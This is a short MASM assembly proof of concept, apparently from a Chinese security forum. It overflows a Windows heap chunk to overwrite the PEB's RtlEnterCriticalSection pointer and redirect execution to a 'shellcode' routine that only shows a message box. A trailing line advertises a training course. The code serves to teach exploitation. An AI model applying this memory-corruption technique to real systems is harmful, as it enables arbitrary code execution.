.386
.model flat, stdcall ;32 bit memory model
option casemap :none ;case sensitive
include heapoverflow.inc
.data
heap dd ?
h1 dd ?
h2 dd ?
myaddr dd ? ;保存正常的ntdll.RtlEnterCriticalSection地址
.code
myShellcode proc?
assume fs:nothing
mov eax,fs:[030h]
add eax,020h
mov ebx,myaddr ;这里修复正常的指针
mov [eax],ebx
invoke MessageBox,0,0,0,MB_OK
ret
myShellcode endp
start:
invoke HeapCreate,HEAP_NO_SERIALIZE,01000h,0
mov heap,eax
invoke HeapAlloc,heap,HEAP_NO_SERIALIZE,016h
mov h1,eax
mov edi,eax
add edi,32
mov [edi],offset myShellcode
;int 3
add edi,4
assume fs:nothing
mov eax,fs:[030h]
add eax,020h ;eax是地址
mov ebx,[eax] ;ebx是指针值
mov myaddr,ebx
mov [edi],eax
invoke HeapAlloc,heap,HEAP_NO_SERIALIZE,0120h
mov h2,eax
invoke ExitProcess,0
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke InitCommonControls
invoke DialogBoxParam,hInstance,IDD_DIALOG1,NULL,addr DlgProc,NULL
invoke ExitProcess,0
;########################################################################
DlgProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
mov eax,uMsg
.if eax==WM_INITDIALOG
.elseif eax==WM_COMMAND
.elseif eax==WM_CLOSE
invoke EndDialog,hWnd,0
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
DlgProc endp
end start
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课